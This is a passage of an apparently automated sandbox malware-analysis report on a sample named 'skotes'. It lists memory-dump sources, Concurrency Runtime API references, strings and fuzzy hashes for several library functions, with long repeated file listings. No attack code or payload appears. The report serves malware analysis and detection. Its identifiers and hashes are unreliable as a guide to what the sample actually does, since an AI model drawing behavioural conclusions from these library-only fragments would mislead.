pContext, xrefs: 00AD189C

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: caa25f5dcbac33669fd647a07b17f4970712d9db34e9c96044a05401b923a30e
Instruction ID: 9333dbc5851cd87a7b1ec4d82d2a950ae88ee6d77d11ee435de6a37705ee9738
Opcode Fuzzy Hash: caa25f5dcbac33669fd647a07b17f4970712d9db34e9c96044a05401b923a30e
Instruction Fuzzy Hash: C7212735B00615BBCB14EBA8D895EBCB3B9BF80334B04016BE503873D1DBA4EC42DA90

Function 00ACAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00ACAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ACAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00ACAF4E

Strings

pExecutionResource, xrefs: 00ACAF07

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 2624d4a26978e0434ba4bb9f9ce0c9e1ef10f2ccfa55d66b00df26183824f475
Instruction ID: 0225f590fe9c6dd527c1eb0405d1a4744d2d7a5da6982376a67949df00c15ca5
Opcode Fuzzy Hash: 2624d4a26978e0434ba4bb9f9ce0c9e1ef10f2ccfa55d66b00df26183824f475
Instruction Fuzzy Hash: E321B975640209ABCB04EF64C982BFD77A5BF48310F11406DF5016B392DBB0AE15CB95

Function 00AC4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AC4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00AC4F66

Strings

count, xrefs: 00AC4EBA
ppVirtualProcessorRoots, xrefs: 00AC4F1C

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 421595f45337050c0380e5d6bbf25751caf1452db020540d081be8ee5ae2690e
Instruction ID: 25f9ba22a25cc59d966c76fa912775dcaea1e4daf2470dbda5be7a764655af3b
Opcode Fuzzy Hash: 421595f45337050c0380e5d6bbf25751caf1452db020540d081be8ee5ae2690e
Instruction Fuzzy Hash: EE21B035600219EFCB14EFA8C9A1EAD77B5BF48310F11406DF5069B692DB71AE01CB95

Function 00ACB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ACBA0E

Strings

combase.dll, xrefs: 00ACB983, 00ACB988, 00ACB99D, 00ACB9C8
RoUninitialize, xrefs: 00ACB9C1
RoInitialize, xrefs: 00ACB998

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 4c5d3ea501597808cb179344315f6170601fd844be1fac9262967d34e476721b
Instruction ID: d9b51a18c694d24cbd279b4faad2f513ba096f876a67acd3b37935057288e490
Opcode Fuzzy Hash: 4c5d3ea501597808cb179344315f6170601fd844be1fac9262967d34e476721b
Instruction Fuzzy Hash: F101F971556715ADEB10BBB55E02FBB359C9F01748F12182DB651F3180EF35E8004AF1

Function 00AC6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00AC6E73

Part of subcall function 00AC4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AC4E7F
Part of subcall function 00AC4E6E: List.LIBCMT ref: 00AC4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AC6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AC6EAA

Strings

eventObject, xrefs: 00AC6E7D

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 3e38df43acc3a058009bbc8fa560f25fb1182c9921fb2bd556956778ac072306
Instruction ID: 011842ca0560be032fbff635648d37d0c0faa8570a2329945467fe30b68aabbf
Opcode Fuzzy Hash: 3e38df43acc3a058009bbc8fa560f25fb1182c9921fb2bd556956778ac072306
Instruction Fuzzy Hash: BD11E576540208F7EB24FBA4CE86FEF73A86F00754F21451AF515A61D1EB70AA04C6B5

Function 00ACA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00ACA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00ACA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ACA139

Strings

pScheduler, xrefs: 00ACA131

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
